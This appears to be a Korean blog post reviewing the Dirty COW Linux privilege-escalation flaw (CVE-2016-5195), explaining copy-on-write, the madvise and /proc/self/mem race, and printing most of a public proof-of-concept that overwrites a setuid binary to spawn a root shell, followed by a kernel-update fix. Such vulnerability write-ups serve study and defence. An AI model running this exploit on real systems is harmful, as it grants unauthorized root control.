Dirty Cow: CVE-2016-5195

Ravidus·2023년 11월 26일

CVE-REVIEW

목록 보기
2/3

Dirty COW: CVE-2016-5195

CVE-2016-5195는 Linux 운영체제에서 발견된 보안 취약점으로 Dirty COW로 알려져 있습니다.
해당 취약점은 Linux Kernel 2.6.22 ~ 3.9 버전의 Copy-On-Write(COW) 메커니즘에서 발생하는 race condition 문제로 일반 사용자가 root 권한을 탈취하도록 동작합니다.
해당 취약점은 COW가 복사본을 만들고 적용시키는 과정에 대한 이해에서부터 출발합니다.

Copy-On-Write(COW)란 무엇일까?

COW는 컴퓨터 프로그래밍과 운영 체제 설계에서 사용되는 메모리 관리 기법입니다.
리눅스 커널의 COW 메커니즘은 데이터의 복사본을 만들 때, 데이터가 변경되는 과정을 다루며 아래는 이에 대한 간단한 설명입니다.

  • 변경 전 공유 데이터 사용
    여러 프로세스가 동일한 데이터를 공유합니다.
  • 변경 시도
    한 프로세스가 해당 페이지를 변경하려고 시도할 때, 시스템은 원본 페이지의 복사본을 만들고, 변경 사항을 이 복사본에 적용합니다,
  • 변경 후 복사본 사용
    변경된 복사본은 해당 프로세스에 의해서만 참조되며, 다른 프로세스들은 원본 페이지를 계속 공유합니다.

Dirty COW 취약점 상세

여기서는 데이터가 변경되는 과정을 따라가며 Dirty COW 취약점이 어떻게 발생하는지를 살펴보도록 하겠습니다.

  1. mmap을 사용하여 커널에게 root_file에 대한 private mapping을 생성합니다.

  2. 커널은 mapping을 위한 physical 메모리 주소를 찾아야 하지만, COW로 인해 private mapping에 쓰기를 시작할때까지 이 작업을 수행하지 않아도 됩니다.

  3. 따라서 커널은 대상을 복사하지 않고, 대안으로 virtual 메모리에 private mapping을 위한 주소를 제공하며 mmap에 대한 요청을 완수합니다.

  4. 정상적인 동작은 root_file의 virtual 메모리에 값을 작성하고, madvise를 사용하여 private mapping 해제를 요청합니다.

  5. 커널은 원본을 확인하고 해당 요청이 복사본임을 파악하여 physical memory에 새롭게 저장한다. 여기 까지가 정상동작입니다.

  6. 1~3까지의 과정은 동일합니다. Root_file의 virtual 메모리에 값을 작성하고, madvise를 사용하여 private mapping 해제 요청을 반복적으로 보냅니다. 이때 다른 쓰레드로 "/proc/self/mem"을 통해 읽기 전용 메모리 페이지에 쓰기 작업을 시도합니다.

  7. 커널은 잦은 매핑 요청과 해제로 인해 race condition이 발생하고 이때, /proc/self/mem을 통한 쓰기 요청이 읽기 전용 메모리 페이지에 적용되면서 메모리 변경이 가능해집니다.

개념증명

다음으로는 POC 코드의 주요 함수들을 살펴보도록 하겠습니다. (POC의 전체 코드는 참조에서 확인하실수 있습니다.)

void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}

madviseThread() 에서는 madvise(MADV_DONTNEED) 시스템 콜을 사용하여 메모리 매핑에 대한 커널 해제를 반복적으로 요청하여 레이스 컨디션을 유도합니다.

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}

procselfmemThread()는 /proc/self/mem을 통해 현재 프로세스 메모리를 수정하며 lseek()와 write() 시스템 콜을 사용하여 메모리 매핑된 영역에 쉘코드 삽입을 시도합니다.

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}

waitForWrite() 에서는 /usr/bin/passwd를 주기적으로 확인하여 쉘코드가 삽입되었는지 확인합니다.

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}

메인 함수에서는 세 개의 스레드 (madviseThread, procselfmemThread, waitForWrite)를 생성하고 실행합니다.

권한이 없는 메모리에 쉘 코드를 덮어쓸 수 있게 되면서 최종적으로 root 권한을 탈취할 수 있게 된다. 레이스 컨디션으로 root권한을 탈취하는 방법을 알아보았다. Dirty COW의 경우 오래된 취약점이다 보니 커널드라이버 3.9 이하의 버전에서만 발생한다는 제약이 있으며, 자원의 무리한 사용으로 서버에 부하를 준다는 점, 간혹 재시작을 해야만 공격이 적용된다는 고질적인 문제가 있습니다.

해결방안

  • 커널 드라이버 버전 업데이트

Reference)
https://dirtycow.ninja/
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

profile
keep going

0개의 댓글